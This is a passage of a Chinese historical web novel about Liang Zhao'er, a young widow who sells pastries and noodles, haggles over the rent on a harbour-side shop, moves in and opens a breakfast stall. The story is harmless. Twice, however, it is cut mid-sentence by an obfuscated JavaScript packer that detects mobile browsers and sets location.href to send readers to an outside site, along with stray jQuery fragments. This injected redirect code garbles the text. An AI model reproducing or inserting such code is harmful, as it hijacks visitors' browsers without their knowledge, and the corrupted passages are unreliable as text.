崔璋捏紧了拳头，脸色更加阴沉，几乎从齿缝里蹦出这几个字，“你家的六岁就能生小孩？” 蔡宣季目光在两人之间扫了一轮，恍然悟道：“子圭兄确实有些显老了。” “……” 崔璋紧皱的眉头跳了好几下。 “二位若要闲聊请往旁边站站，别误了我做生意。” 梁照儿暂且没心思看未来的两位名臣在她摊前斗嘴，比起搅合进略显复杂的伦理关系中，她更在意的是赚多少银子才能她这种供底层老百姓生活。 “谁说我不买了，”蔡宣季掏出五十文钱，豪爽道：“先来五份。” 没有厨子会不爱这种胃大且不挑食的食客，何况这位食客还财大气粗。关大娘连忙端了三碟糕点到了蔡宣季面前，笑着说：“郎君请用。” 蔡宣季掀了衣袍，一屁股坐下。好几日没吃过一餐饱饭，他此时吃得很快，但却不显粗鲁。他伸手招呼着崔璋坐下，“子圭兄，快坐下一起用，这糕点是我吃过顶顶好吃的。” “牛嚼牡丹，你只怕是色迷心窍，甚么鬼话乱话都说的出来了！”崔璋不理会拉住他衣角的一双手，冷哼一声说道。 自家兄长被这梁照儿迷得不顾三纲五常，如今连他的至交好友都替她说话，难道他们都瞧不出来梁照儿是个见异思迁的女子？ 父亲才去，她不但不守着，居然还擅自离了府！ 蔡宣季抓起一块糕点，趁崔璋不备塞进他的嘴里，不耐烦道：“你吃就是了，哪儿那么多话，又没让你掏钱。” 崔璋机械地嚼了几下，三天来一直紧闭且没怎么进食而翻着苦涩的口腔忽而被清甜的糕点占满，竟让他觉得有些满足。 “这与钱有何干系？”他自诩断事秉直，此刻清了清嗓子，煞有介事地点评道，“这糕点确实不错。” 试院门口的人渐渐散了，梁照儿将空坛子用麻绳捆好放回车上，关大娘在一旁收拾着零散的餐具。 她叫住欲离去的蔡宣季和崔璋，“崔郎君请留步，我有些话想单独同你说。” 崔璋仿佛屈尊降贵一样地停了下来，站在梁照儿面前。他个子高，为她遮下了一片荫。 梁照儿突然问道：“你种过地么？” 崔璋被她问得一愣，虽说从前崔家是从村子里头发迹的，可他出生那会家中已经奴仆成群，压根没过过苦日子。 梁照儿双眸微红，强忍着泪意道：“收小麦是五月里最热的时候，男人们顶着烈日全身上下包的严严实实还会被麦杆划伤。我身上连一件像样的衣服都没有，还得替表兄去地里干活，一天下来手上都是干了的血印子……插完秧扶着直不起的腰从地上起来，腿上还趴着四五只吸饱血的蚂蝗，割稻子的时候又锈又钝的镰刀一不留神就会砍到腿上。” “你说我见异思迁，那便是罢。都是人，谁不想过好日子，谁生来就是为奴为婢的？”梁照儿缓了片刻，待情绪稳定后又道。 崔璋听见这话心中一怔，半晌才道：“是我着相了，对不住。” 梁照儿见崔璋认错倒快，有些不适应他这副模样，原本义愤填膺的冲突也如同泄了气的皮球倏然歇了下去。 她坐上驴车，单手揽着瓶瓶罐罐，以免跌落。 蔡宣季见她要走，连忙探身问道：“敢问娘子姓甚名谁，日后若是还想吃您做的糕点需到哪处去寻您？” 梁照儿自己也不知道下一步该往哪走，只不冷不热道：“扬州城说大不大，有缘自会再见。” 蔡宣季望着她离去的背影，揽上崔璋的脖颈，玩味道：“人家同你说了什么，这样魂不守舍的，也说了让小爷我听听。” “与你何干。” 崔璋拨开蔡宣季的手，转身离去前淡淡甩下一句话。 蔡宣季一向不耐烦崔璋这故弄玄虚的性子，冲着空气挥了两拳，“就你神气！” 回了郑家，梁照儿顾不及上想旁的，就被关大娘拉到里屋数钱。 “如今短陌①，咱们今日赚的凑一凑，只怕也有一贯钱！”关大娘的声音里是压不住的欣喜。 老话诚不欺人，行走江湖还是得有一技之长。 哪怕是短陌的时候，一贯钱也有七八百文。关大娘洗一件衣裳，碰上大方心善的主家能给两文钱，一天顶天洗二十件衣裳，即便如此都得连洗大半个月才堪堪能赚一贯钱。 这次摆摊梁照儿出力多，点子和糕点都是她一手包办，玉梳和关大娘早些就提出除去成本外只要三十文钱意思意思，就当帮工了。 梁照儿自然不跟她们客气，怎么看郑家都比自己有钱多了。 当然，她为表感谢还是把工钱加到了五十文，毕竟借住在郑家也没交伙食费之类的。 玉梳再回来时带回了一个好消息，张虎从牙行处替她寻了一处屋子。那屋子面积大，还临街，被前头的租户盘下来做过食肆。 美中不足的是，那铺面临着瓜州港，船只常在码头集散货物，人员流动性大且构成复杂。 梁照儿听着觉得不错，便同玉梳说让张虎带她们去实地考察一下，再同牙人杀杀价。 关大娘显得有些担忧，“若只是自己住，也就罢了，头一遭做生意就盘下这么大的店铺，万一没人来可怎么好？” “当然有人乐意吃，您瞧哥哥不就是？从前燕来楼的那些珍馐不说样样都尝过了，但也试过大半，可哥哥就是不喜欢。” 知州府里，韩家大姑娘宝绮正撅着嘴说道。 崔氏一脸慈爱地瞧着在自己面前撒娇的小女儿，又说：“那小摊上做的糕点真有这么好吃？竟惹得你兄妹俩念念不忘。” 她又转头望向儿子，只见韩景彦规矩坐在下首，莞尔一笑道：“不过比旁的吃食更能入口些罢了。” 崔氏忍不住扶额，她这儿子样样都好，学问、容貌都随了她和自家夫君，哪怕是丢进京城的公子哥堆里也不遑多让。 只有一点让她束手无策，韩景彦不仅打小于吃食一事上挑剔，还是个犟驴性子，哪怕饿着，也不肯吃他不爱吃的东西。 随着韩景彦日渐长大，崔氏越发瞧不出他的心思。她干巴巴地望着厌食的儿子心中更是焦急，便整日变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401517|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着花样地命厨房给他做了膳送到书房去。 为了不拂母亲的好意，韩景彦总是动上两筷子以示尊敬。 “既是如此，就去寻了做糕点之人来，好生请到府里做厨房的大师傅也使得。”崔氏摆了摆袖子，温柔道。 韩景彦想起了大拇指摩挲在竹筒底部所摸到的那个“梁”字，温声道：“不过是居所不定的小贩，想来再难寻到了。” 他瞧出了做糕点之人的巧思，以沉香熟水和面，再配上同样口味的香饮，可谓相得益彰。他不免有些好奇是何人有这种心思，便问宝绮可曾看清那人。 宝绮坐在车上看的不真切，只说有位老妈妈在忙活着。 韩景彦没料到会是位老妈妈，但转念一想，或许是自己有些以貌取人了。 谁说老妈妈做不出好点心？ 三人正叙话时，拂柳却打了帘子进来，恭敬道：“主君从衙门回来了。” 宝绮一听父亲回来了，立刻像稚燕出巢般扑向身穿官服的韩知州怀里，挽着他的手臂道：“爹爹，你可算回来了。今日我练了好些大字，就等着您回来看呢！” 崔氏上前接过韩知州的官帽，亲手放好后嗔怪道：“宝绮，你如今都是大姑娘了，还这般黏你父亲。” 韩景彦上前给韩知州请了安，又对答了几句科举之事才领着宝绮出了正院。 韩知州见一双子女乖顺而出，紧紧执了崔氏的手，跨步上前坐在窗下替她篦头发。 他们成婚快二十年了，一直保留着新婚时的习惯，日日替她做这些闺房之事。若是哪一日崔氏不等他，自己篦了头，韩知州都要生气的。 “朝廷想解决南资北运的问题，说是要重新整治江南河道，欲在润州开辟京口新河。”韩知州心绪平和道。 崔氏出身大族，自然知道其中利害关系，回头握住韩知州的手笑着道：“这是好事一桩，扬州地处交汇之处，若是重新治河，商贾往来其间想必会更加繁荣昌盛，也算官人的政绩。” 自家官人同三五知己在朝中推行新政，无奈在其他派系的反对下失败，还落得个被贬出朝，出知扬州的下场。崔氏知晓丈夫心中的抱负，见他来扬州后并不自怨自艾，反而一门心思扎在公事上才堪堪放下心来。 韩知州捏了捏她的手，叹了口气道：“政绩倒是其次，正是百废待兴之时，只盼着百姓们能因此获利，日子好过些。” 霜降一过，闷热的日子也随着去了，一场淅淅沥沥的秋雨到访后，天渐渐凉了下来。趁着玉梳休息，她和张虎并着关大娘陪梁照儿去看了瓜州港附近的那处铺子。 被手下唤作黄爷的牙人背手站在一边，身旁的小厮正手舞足蹈地介绍，“这铺子临靠码头，出门就是官道，车马畅通无阻。朝向坐北朝南，冬暖夏凉……租金一年五两，再没有比这更划算的了。” 关大娘一听租金的价格，觉着有些贵便扮起了白脸，“听这位小哥所言，这铺面样样都好，想必屋主人也觉得奇货可居，又怎舍得拿出来租赁给旁人？” ———— ①短陌：实际支付的钱数不足一百文却仍算作一陌来使用。 8. 馎饦与温居宴 梁照儿径直走向黄爷，低头一笑，缓缓说：“方才这位小哥只说了好处，却不说不好。这屋子虽靠码头和官道，可往来人声嘈杂，孟母也知三迁住处，只为孩子择一个清净之处。” 她又向左走了两步，环视四周，转身道：“屋子倒是宽敞，上下两层。可说句不中听的，称得上又大又破，请两个人来打扫只怕也得花上两三日才能收拾出来。寻常人家不过三四口人，租个一进的小院都足够了，这样的屋子只能租给做生意之人。” “黄爷，都说您是个实诚人，可别打量着蒙我妹子！”张虎见关大娘和梁照儿一个扮白脸，一个扮红脸，生怕她们受人欺负，立刻掀起袖子露出健硕的膀子。 玉梳闻言哭笑不得地将他赶到一边，又笑着说：“黄爷，我这妹子说话直，多有得罪。不过，她有两句倒是实话——这样大的屋子一时半会确实难赁得出去。” “这位娘子生了一张好利的嘴，”黄爷这才回身看着梁照儿，他敛起挂在脸上的笑容又道，“不知诸位想要黄某如何？” 梁照儿伸出三根手指，“房租减三成，我便租下这铺面。” “娘子压价太狠，总要让些利给我们这些混口饭吃的人，”黄爷盯着梁照儿，扳下梁照儿的一根手指，“两成，再少了房东也不肯嚜。” 梁照儿倏尔一笑，“成交。” 那小厮讪笑着上来说：“既然商议好了，那小人便回去准备租契文书。” 见黄爷和小厮离开，玉梳才忧心问道：“照儿，这铺子一租就是一年，租金尽管砍了两成，总归也不是笔小数目，要不再瞧瞧别的？” “我瞧着这屋子不错，娘子是个有魄力能成大事的，咱们就别在这乱搅和了。”张虎楼上楼下转了一圈，满意道。 张虎还是习惯称梁照儿为娘子。从前在崔家，梁照儿算主，他算仆，虽说如今到外头来了，他一时也转不过来这想法。 不过梁照儿心中有自己的思量。 遇水则发这句话可不是单纯的风水迷信。水路不管在古代还是现代都是重要的运输方式，靠近江河之处，不仅交通便利，商业也会更加繁荣。虽说因着前朝战乱，运河荒废许久，可如今政通平和，重启运河是迟早的事。 趁着低价租入，届时不真发展起来了愁赚不到银子。 “这屋子下层做买卖，上层用作民居，省了租铺面的钱，我瞧着倒很合适。”梁照儿浅浅笑道。 见梁照儿都这么说了，玉梳也不好再扫兴，转而道：“等收了钥匙，我再来替你好好打扫一番，不然断住不得人的。” 虽找定了铺子，可未搬迁时摆摊的生意还得照常做，不然只怕养不起房租。 近来天气渐渐凉了，冷的吃食卖不出价格，梁照儿便跟关大娘学着做馎饦。 说起馎饦，历史可就久了，最早在南北朝时期就有记载。梁照儿常听人说馎饦，却不知具体是个什么吃食。她瞧着关大娘将一大块面团擀成薄片，再切成小块或小条下进沸水中煮熟。捞出来后，又加入芜菁等蔬菜，最后浇上调料。 梁照儿一瞧，倒和后世的面片或刀削面有些类似。 她尝了一口关大娘做的，疑惑道：“大娘既做的一手好馎饦，怎得不自己摆个摊卖馎饦？” “嗐，早年间嫁给他爹，一门心思地在家相夫教子，哪里想着去做这些。后来要拉扯着两个孩子，身上又没本钱，想做也做不成，”关大娘盖上锅盖，叹了口气又说，“早知后来这些事……当初应该也去做的。” 梁照儿默然地点了点头。 二人在临街处临时用油布拉了一块天幕，又支了炉灶，架上一口大锅用来煮馎饦。一旁的案上，还摆着几只小罐子，里头盛着花椒、胡椒和草果，寻常的盐、糖之类的调料一应俱全。 关大娘在锅前煮馎饦，梁照儿则负责调味。 不一会儿，一碗热气腾腾的馎饦就被梁照儿端上食客的餐桌，她笑着说：“若是觉得调料给的不够多，只管到前头去加。” 食客低头瞧着面前浓郁的高汤里头飘着几片白花花的馎饦，又轻轻一嗅，好鲜的味道！ “可是鲫鱼汤？”顾客问道。 梁照儿站在案前，闻言笑着抬头，“客观好灵的鼻子。是早上在码头上渔人处买的新鲜鲫鱼，将三只鲫鱼拆骨放在油锅里一炸，再搁上葱、姜、蒜、酒小火慢炖一个时辰才得的这汤底。” 那食客点了点头，“这街上食摊虽多，可像你们这般用心的却少见。” 梁照儿顺势推荐起还未开张的食肆，“我在卸盐巷靠近瓜州港的官道边上有一个食肆，不日便能开张，若是客官吃着好，得空也可去那儿瞧瞧，给我攒攒人气儿。” 那食客听她这么说，也表示自己已经记下了位置，会时常光顾。梁照儿并不深究客人是否真的会来，又转而向其余的食客宣传起食肆。 她在扬州根基尚浅，只能以量取胜，说不准哪位顾客一时兴起就来光顾了。 天色渐晚，赶在太阳落山前，梁照儿和关大娘将早上预备的三大块面团全卖光了后，便将东西收好。近日收成还算不错，梁照儿也计划起将食肆重新修整一下。 那铺子一楼是全部打通的，没有一丝隔挡，全凭她自由发挥。 这格局说好也好，说不好也不好，总之全赖店主人的品味，不然桌椅堆在一处难免显得拥挤。 “到时买上几架插屏，将一半桌子隔开才好，吃饭时总不至于你望着我、我望着你。”梁照儿计划着。 关大娘适时地给她泼上一瓢冷水，“先买些简单的物件摆着，等月有结余时折腾旁的。” 一场秋雨淋漓不尽地下了好几天，才等到个天晴的好日子，梁照儿便去了牙行跟黄爷签租契。 “黄爷，我还有一事得弄清楚。”梁照儿本欲离开牙行又转头回来道。 黄爷站在柜台里面扒拉着算盘，挑眉问道:“娘子不妨直言。” 梁照儿又问，“签了这租契，租金可会无故上调？” 黄爷摆了摆手，淡然道：“自然不会，既是白纸黑字同娘子立下契约，就没出尔反尔的道理。” 梁照儿得到想要的答案，心满意足地点了点头，“多谢黄爷。” 她将租契和钥匙放好，便回了明教巷收拾东西，来的时候孤零零的一个小包袱，走时却多了许多东西。 玉梳正替梁照儿收拾着关大娘给她新做的一身秋装，忽而坐在床边感慨道：“你说，我才见你的时候，黑黑瘦瘦的一个小人儿，连衣服都撑不起来，满脸的倔劲……如今都要出去自立门户了。” “好玉梳，怎么忽然说起这个，可是舍不得我走？”梁照儿揽住玉梳的肩膀，从背后将她匡进自己怀里，柔柔道。 玉梳转过身，用纤长的食指戳了戳梁照儿的脑门，“从前这般叫也就算了，如今还不叫阿姊。” 梁照儿笑着起身坐到桌边，拿起一块云片糕塞进嘴里，笑晏晏地望向玉梳，“也不知张虎上辈子修了什么福气，竟有幸娶了你这位人美心善的娘子。” “如今还不是呢。”玉梳啐了她一口，红着脸说道。 梁照儿敛了吊儿郎当的模样，正色问道：“婚期定在什么时候？” 玉梳扳着指头数了数，又说：“新年之前吧，等到了年关事多繁忙，也抽不出什么空，若再拖下去就只能等到年后了。” 梁照儿望着玉梳耳边垂下来的发丝，怔怔道：“到时我亲手做一大桌子菜，让你做扬州城里席面最出彩的新娘子。” 玉梳一边叠着衣服，一边冲她宠溺一笑，“那我可就等着了。” 帮梁照儿搬家那日，张虎带着他兄弟张龙也来了。张龙是个有些木讷的黑皮汉子，不如张虎能言善道，只是默默站在一旁守着。 “阿兄，别脸红了，快来帮忙抬东西。”张虎冲着张龙嚷道。 闻言，其余三人一齐望向张龙。 脸红了吗？一点没看出来。 梁照儿和玉梳对视一眼，憋不住笑出声来。 关大娘拿这两个促狭的丫头也没法，只上前帮着张龙收拾，免得他觉得尴尬。 贺家的听见动静，抓了一把瓜子就从里头出来，倚着门框笑道：“哟，你们家这是要出远门，连吃饭的家伙什儿都带上了！” 关大娘笑着接过贺家的手中的瓜子，指着梁照儿说：“哪能啊，是帮我这侄女搬家。” 贺家的瞧着郑家一家子亲亲热热的，不免有些眼酸。她向来好强，事事都想压人一头，转口炫耀道：“照儿还是有钱哩，不跟着姑姑住，还有闲钱赁屋子。也是我们家喜郎去念书了，不然也叫他来帮帮忙！” 这意思是她家喜郎往后是走读书科举的路子，和你们这家子都凑不出一个读书人的泥腿子可不同啦。 玉梳本有些生气，听见张虎说的话也备不住笑了。 张虎说：“贺家婶子，我们搬大锅大铲的，叫个瘦鸡仔来也不顶事哩，等下大锅倒了被扣在里头了，还得好一通折腾弄他出来呀。” 梁照儿转身从屋子里拿出一小包准备好的糕点塞进贺家的手里，欲堵她的嘴，“婶子莫怪，原应见面的时候就送点什么到你家去。” 贺家的接过糕点，心中不悦散了半分，又对着玉梳说：“要我说还是照儿会做人，玉梳以后成亲了，也得学着料理这些人情往来，若做的不好婆家可要怪你娘没教好。” 玉梳懒得搭理她，帮着将东西装好车，又用一指粗的麻绳仔细捆了好几圈。 众人欲走时贺家的又道：“照儿常回来玩。” 梁照儿冲她点了点头，便跟车出了明教巷。 驴车位置小，坐不下这许多人。张虎坐在前头赶车，张龙只得跟在一边走路。 梁照儿瞧着张龙额上的汗珠都顺着脖子流到胸前，衣裳深一块、浅一块的，连忙说：“张大哥，你上来坐会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401518|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我换换你。” 张龙满心想着非礼勿视，连头都不敢扭，目光如炬地看向前方。 “娘子你坐，这驴车装了不少东西，走得还没我腿脚快，不碍事。”他抹了额上一把汗，镇定道。 张虎一听这话来了气，鞭子往驴屁股上一抽，说道：“谁说走不快，若不是顾忌着你，早就到了！” 走了好一阵，驴车才停在食肆门前。 梁照儿从袖子里拿出钥匙将门打开，又做了个朝里请的动作，“诸位请进。” “这屋子大，娘子独身一人，须得仔细小贼和扒手，养只大狗才好。”张龙拿衣服擦着面上的汗，气喘吁吁道。 梁照儿点了点头，“大哥说的是。” 张龙也不废话闲篇，刚刚站定又开始卸货。张虎跟着张龙做些倒腾重物的力气活，关大娘和玉梳则在楼上做些擦洗的细致活。 梁照儿作为主人不好在一旁干看着，也跟着一起干。瞧着时间约摸差不多了，她便动身下楼做饭。 她预备炒几个家常小菜，方便快捷。 不像前朝烹饪多以蒸和煮为主，本朝因为冶铁技术的大幅度提升，再加上油料植物种的多，炒菜倒不稀罕，只是口味还有待提升。 梁照儿去码头买了几条新钓的小鲫鱼，又去肉铺割了半斤精瘦肉剁成肉沫，准备做一道酿鱼。 她将鱼处理干净后，又用由莳萝、胡椒等十余种调料腌制过的肉馅填满了鱼腹，接着放入锅中用火煎上十来分钟，最后淋上酱汁出锅。 酿鱼刚做好，香味就飘的满屋子都是。 梁照儿净了手后，换把锅中油一换，重新炸了欢喜团。接着又做了两荤两素，等到一旁瓦罐里的糖粥滚了，她未来得及喊“开饭了”，便瞧见其余几人已经互相堆叠着堵在厨房门口了。 “早就闻见香味了，干活都泄了劲，只想吃饭。”张虎抱胸笑着说。 关大娘对着张虎这个毛脚女婿是实打实的满意，随即说道：“待会多吃些，也不枉今日下了这些苦力气。” 尽君今日欢，复听他日新。几人围坐在一桌，共举了茶杯干杯。桌上热气蒸腾，大家累了半天也顾不得言语，只听得筷箸碗碟碰撞的声音。 玉梳夹起一块酿鱼，惊叹道：“这酿鱼居然不散。” 张虎不懂食物里头的门道，头也不抬地应答，“好吃，好吃。” “娘子有这手好厨艺，虽说守了寡，想必也有不少儿郎愿意求娶。”张龙扒完碗里的饭，抬头说道。 张虎一听这话，连忙在桌下猛踹了他一脚，小声喝道：“别说了。” 见张龙没反应，张虎又踹了他一脚。 这一脚力道有些大，一下子将凳子的腿踹断了一根。 “好端端的，你踹我做什么，”张龙不解道，捡起筷子又道，“昏头啦？” 梁照儿望向张虎，笑着说：“不用这般忌讳那事，既成事实，我便问心无愧。” 她又看向张龙，缓缓道：“我乐得钻研吃食，并非因为想讨男子喜欢，随自己心意去做，还能谋生，已经是顶顶好的事了。” 张龙说话时常不顾大脑，此刻更是涨红了一张面皮，结巴道：“我…我明日就替娘子将这凳子修好，不…不……待会就修。” 梁照儿打着圆场道：“那就麻烦大哥替我修修，我这小店本就没几把椅子，若再让客官坐上缺胳膊少腿的，只怕更不乐意来了！” 玉梳佯装生气地拍了一下梁照儿，“呸呸呸，还没开张呢，就这般说丧气话。” 众人又说了一会儿话，方才散了。 送走了大家，梁照儿躺在床上望着帐顶想着食肆日后的经营方向。 普通百姓还是遵循朝饔夕飧，一日两餐的生活模式。码头边货卸货的脚夫们一大早就得做力气活，寻常简单的早餐下肚，只怕还没到傍晚用完餐，工人们就已饿的眼冒金星了。 三餐制虽在汴京这些达官贵人们多的城市里盛行，但寻常农户一劳作就是一天，根本顾不上吃午饭。 梁照儿思来想去，还是准备先在食肆里提供早餐。 胡思乱想着，梁照儿昏昏沉沉地睡过去了。不知睡了多久，她听见外头有人叩门。 梁照儿开了门，看见面前齐刷刷地摆着十几张凳子，愣了半晌。忽而她感觉脚上一阵温热，低头一看，只见一双黑溜溜的眼睛睁盯着她。 “哪来的松狮犬？”梁照儿惊呼一声，将面前这只米白色的肉团子抱进怀里。 张龙从凳子后头出来，露出满口的大白牙道：“昨日言语间是我唐突，对不住娘子了。一大早我就从羊巷李木匠那买了不少凳子，想来够用了。这松狮是去城西那家狗舍仔细挑的，我捏了捏，它的爪子厚实，骨头也结实，日后肯定长得高，能看家护院。” 伸手不打笑脸人，梁照儿连忙迎了他进来，笑着说：“难为大哥跑这一遭，快进来喝盏茶，歇歇脚。” 9. 胡饼与热干面 张龙欢喜地连喝了三盏茶，才恋恋不舍地从食肆出来。他刚一出来就撞上了背着包袱的崔璋和蔡宣季。 “见过小官人。”张龙见到崔璋下意识地缩了缩脖子。 崔璋冷冷瞥了他一眼，并未应答。 张龙见崔璋没接话头，也全了礼节，正身退了好几步才转身往崔家的方向快步走去。 “不进去瞧瞧吗？好不容易寻到她住处。”蔡宣季努了努嘴，语调轻快地问道。 崔璋掀开薄薄的眼皮，低头敛下眼下的乌青，他近来寝食难安，人也熬得削瘦了不少。 “她这儿人来人往的，也不缺谁，”崔璋顿了顿，声音中透着疏离，“再说已是前尘往事，何故诸多牵扯。” 他时而回想起那日在小吃摊前冷然拒绝的模样，心绪都难以平静。 究竟哪一种才是真正的她？ 是伏在榻边哀婉柔弱的她，还是站在台阶上泼辣带刺的她，还是小吃摊前冷静理智的她？又或者说这些都不是…… 但毋庸置疑的是，梁照儿比自己聪明，早早地勘破了崔家一片祥和下的各怀心思，为自己谋划出路，而兄嫂却想把自己赶到乡下老屋自生自灭。 自己却还在她面前讲哪些不着调的话，想及此处，他面上一阵羞赧。 “只当去给人家送生意，还有不让进的道理？” 蔡宣季实在看不懂崔璋这人，自己偷偷在马厩里头听张家两兄弟闲话得知了梁照儿如今的住处，巴巴地赶来却又不肯进。 崔璋一把拎住欲往里进的蔡宣季，朝渡口走去，“别误了时辰回书院。” 忽而梁照儿感觉福至心灵，仿佛听见了蔡宣季那略带慵懒的声音在耳边回荡。她顺着窗朝外望去，却只瞧见满地翻黄的银杏叶。 她送走了张龙后，在靠近渡口的那侧窗户前支起了天幕，又将一只小炉灶拖到外头去，架上蒸笼。 早餐的通常是饼店，油饼店卖蒸饼、糖饼之类的，胡饼店则卖宽焦、侧厚等品种。梁照儿仔细伏在案前将去羊巷李木匠那儿做好的招牌擦拭干净，挂在案前。 三个招牌上分别写着：胡饼、馎饦、热干面。 她想起后世江城也是两江交汇之处，码头繁多。船工和脚夫劳动强度大，需要快捷又饱腹的食物。热干面就很适合，一碗能在胃里顶到下午，她又按照江南一带喜欢的口味调整了热干面的调味。 一切准备就绪后，梁照儿抱着狗早早地上了二楼歇息。她平日里瞌睡就多，不睡够时辰总感觉脑袋不清醒，这下为了早起只能更早睡觉。 土松犬一点儿不认生地窝在她膝上伸了个懒腰，小身子翻了过去四脚朝天。 “给你起个什么名字好呢？”梁照儿揉了揉它的肚子笑着说，“就叫大黄吧，大黄可是个好东西，不仅能治病，开的花也漂亮。” 大黄似乎听懂了梁照儿的话，扑通一声翻身下来，乖顺地在她手心里蹭了蹭。 秋日清晨凉风似水，四下静悄悄的，只听得见几声橹声。梁照儿放弃了从前常穿的襦裙，换上关大娘给她新做的粉紫云纹窄袖衣御寒。 三声叩门声响，梁照儿刚抬下门闩推门，大黄就迫不及待地跑了出去。 “大娘怎的来了？”梁照儿看清来人便笑着说。 大黄摇着尾巴围着关大娘转圈，嘴里还哈着白气。关大娘拍散了身上沾的雾气，指着大黄笑道：“哪来的狗？” 梁照儿道：“张家大哥送来的。” “他倒是个有心人，”关大娘若有所思地点点头，又说，“那些饼店都是赁了好几个奴仆在锅前不停地炸饼，想你头一天忙不过来，我在家也是无事便来帮帮你。” 说罢，她帮着梁照儿将掸好的面条拿出去。 时辰尚早，往来的人群除了上值的官员，就是漕船上的脚夫和商贾。 不过有些品级和家底的官员都会依“东富西贵”的说法住在城西边，此刻从东边去上值的官员大部分也都是基层公务员。 才刚上任的九品司士参军李鸿下了船，皱眉看着被沾湿的衣角，心中正烦闷，一股香味却钻进了他的鼻腔。 他沿着香味望去，发现渡口边头一家原本门窗紧闭的食肆又开了门，一位面容姣好的年轻的娘子腰上系着围裙，正用一双长筷子在锅里炸胡饼。 “这位官人可要试试？”梁照儿见面前李鸿身着官袍，连忙问道。 她瞧着官袍的颜色便知来人官职不高，可官再小也是官，不失为一个行走的活字招牌。 古代的营销也不少，例如汴京城里的樊楼，是有官方背书的正店。其余酒楼食肆也纷纷打出某某诗人或某某官员认证。 听说汴京城里有一厨娘，做鱼羹堪称一绝，连官家都曾夸过，一时间风头无两，赚了不少银子。 李鸿指了指招牌，问道：“热干面是什么吃食，从前好似从未听过？” 梁照儿拉出一把过了油的澄黄色面条，丢进一直烧火煮着的滚水中，略微一烫便用漏勺捞起面条倒入碗中。 她熟练地拨开面前的调料罐，依次加入盐、醋、酱油、蒜泥和少许糖，紧接着加了一小勺芝麻酱，笑着说：“是新研究出来的，还请官人赏光替奴家一试，将其拌匀便可用了。” 芝麻酱的味道浓厚，一时间吸引了不少人围上前来。 李鸿才上任，正是偶像包袱重的时候。只见他轻咳了一声，端起了碗将均匀地芝麻酱裹在每一根面条上。 他慢条斯理地用完，起身到案前，“这位娘子，多少钱？” 梁照儿一愣，随即说：“五文钱。” 李鸿将五文钱放在桌上，转身翩翩而去。 梁照儿在后面喊了他一声，小声说：“你嘴……忘擦了。” 一旁的人听见一碗面条只要五文钱，瞧着便宜，也上前要了两碗。可无一例外，吃完皆是一语不发地放下钱走了。 是觉着好吃还是不好吃？ 梁照儿心中也纳闷，关大娘回头冲她喊道：“一份胡饼！” 她应了一声，连忙净了手，从锅里掏出一个煎的双面金黄的胡饼用纸一包递给顾客。 那顾客双手将饼一掰，还流着汤汁的肉馅就蹦了出来。 肉馅是肥瘦相间的羊腩肉用八角、香叶、花椒、桂皮等香料粉腌制后煮熟剁的碎碎的，为了丰富口感层次，梁照儿还加了花生碎，吃起来绵软中带着酥脆和坚果香。 “好吃，好吃。”顾客连说三声。 可等梁照儿看见忙活了一早上的营业额时，对顾客说的“好吃”打上了一个大大的问号。 没见有多少银子进账啊！ 关大娘噼里啪啦地拨着算盘，头也不抬 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黄花梨木案前摆着一沓公文，李鸿却没心思看，他咂巴了下嘴，嗯，一股芝麻酱的味道。 卸盐巷原本也开了几家食肆，他光顾了几次，味道也还行，只是价格都不便宜。 普通种地的农民或是卖力气的工人多半都是在家自己解决早餐，省钱。像他们这些还未成婚、没有内人照顾的小吏，一般就是跟着州衙的食堂吃。 新开的这家食肆，价格还算公道，只是这食物的味道……有点怪，他从来没吃过这样的东西，黏黏糊糊地腻了一嘴，吃到最后竟还回了一点甘。 刚吃这面的时候很难理解，但之后又想尝试，李鸿觉得自己被热干面教育了一通。 他正想着，一阵妖风将桌上的公文刮到了外面。李鸿连忙跑到廊下捡起散落的纸张，不料一双乌皮靴停在了他的面前。 “去帮这位同僚捡捡。” 李鸿听见一阵低沉而富有磁性的声音，抬头一望，正是韩知州，这州衙里最大的头头！ 他一下愣住了，与他一同进来的同期付文兴指了指他的嘴巴，又朝他递了好几个眼色。 李鸿以为同期是在示意他向韩知州问好，连忙躬身拱手道：“下官是州衙内新来的司士参军李鸿，见过知州。” 付文兴一拍脑袋，心想，完了。 “都是同僚，不必拘礼，”韩知州和煦一笑，又对着身旁的录事参军杜大人说，“瞧着近来厨房的伙食有改善。” 说罢，韩知州便进了签押房。录事参军瞪了李鸿一眼，才跟着韩知州离去。 李鸿疑惑地看向付文兴，问道：“杜参军今日这是怎么了？” “……你早上用了什么？”付文兴无奈道。 李鸿一脸无辜：“卸盐巷新开的一家食肆，那儿的吃食物美价廉，比食堂好多了。改日去办差路过，带你也去试试。” 付文兴从怀里掏出一面铜镜递给李鸿，李鸿一照，发现自己嘴边黑了一圈，一时间欲哭无泪。自己刚上班就被上司以这种不良方式记住了，怎么看怎么倒霉。 杜参军刚坐下就在公文本上记下一笔：各级官员每日上值需注重仪容仪表，面容有损者考绩降一等。 10. 食闹与梅花汤饼 落日卷绣帘，晴碧黯黯，晚云微收。 张龙打从外头回来便进了马房。他双腿便轻巧地盘坐在食槽沿上，手里攥着一根狗尾巴草，喃喃自语道：“我想向娘子提亲。” 